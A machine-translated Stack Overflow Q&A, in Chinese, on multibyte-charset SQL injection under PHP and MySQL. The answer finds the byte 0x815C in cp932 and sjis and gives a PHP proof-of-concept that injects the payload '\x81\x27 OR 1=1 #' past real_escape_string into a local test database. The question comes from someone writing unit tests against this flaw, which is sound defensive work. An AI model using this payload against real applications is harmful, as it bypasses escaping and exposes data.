如何使用Shift-JIS和CP932创建SQL注入攻击?

mpe*_*pen 36 php mysql security encoding sql-injection

我正在编写一些单元测试,以确保我的代码在各种字符集下不易受SQL注入攻击.

根据这个答案,你可以通过注入创建一个漏洞\xbf\x27使用下列字符集之一:big5,cp932,gb2312,gbksjis

这是因为如果未正确配置您的escaper,它将会看到0x27并尝试将其转义为它\xbf\x5c\x27.但是,\xbf\x5c实际上这些字符集中只有一个字符,因此quote(0x27)未被转义.

然而,正如我通过测试发现的那样,这并非完全正确.它的工作原理为big5,gb2312gbk但也0xbf27还是0xbf5c在有效的字符sjiscp932.

mb_strpos("abc\xbf\x27def","'",0,'sjis')
Run Code Online (Sandbox Code Playgroud)

mb_strpos("abc\xbf\x27def","'",0,'cp932')
Run Code Online (Sandbox Code Playgroud)

返回4.即,PHP不会将其\xbf\x27视为单个字符.这将返回falsebig5,gb2312gbk.

这个:

mb_strlen("\xbf\x5c",'sjis')
Run Code Online (Sandbox Code Playgroud)

返回2(返回1gbk).

所以,问题是:是否有另一个字符序列,使sjiscp932容易受到SQL注入,或者是他们居然容易呢?或者是PHP撒谎,我完全错了,MySQL会完全不同地解释这个吗?

Nar*_*arf 20

魔鬼在细节中......让我们从问题的答案如何描述易受攻击的字符集列表开始:

对于这种攻击的工作,我们需要的是服务器的期待连接都进行编码的编码'为ASCII即0x27 一些文字,其最后一个字节是一个ASCII \0x5c.事实证明,会默认在MySQL 5.6支持5个这样的编码:big5,cp932,gb2312,gbksjis.我们会gbk在这里选择.

这给了我们一些上下文 - 0xbf5c用作示例gbk,而不是用作所有5个字符集的通用字符.
恰好相同的字节序列也是big5和下的有效字符gb2312.

此时,您的问题变得如此简单:

这字节序列是一个有效的字符的下方cp932,并sjis在结束0x5c

公平地说,我为这些字符集尝试的大多数谷歌搜索都没有给出任何有用的结果.但我确实找到了这个CP932.TXT文件,如果你搜索'5c '(有空格),你会跳到这一行:

0x815C 0x2015 #HORIZONTAL BAR

我们有一个赢家!:)

一些Oracle文档确认0x815c两者都是相同的字符cp932,sjis并且PHP也识别它:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
Run Code Online (Sandbox Code Playgroud)

这是攻击的PoC脚本:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}
Run Code Online (Sandbox Code Playgroud)

  • 是的,`\ x81`是`cp932`,`sjis`中的前导字节,并且不使用表查找的延迟检查会将其视为有效.但即使不是这样,也没关系......魔术是在`mysql_real_escape_string()`中将它视为ASCII,因此在中间添加`\ x5c`. (3认同)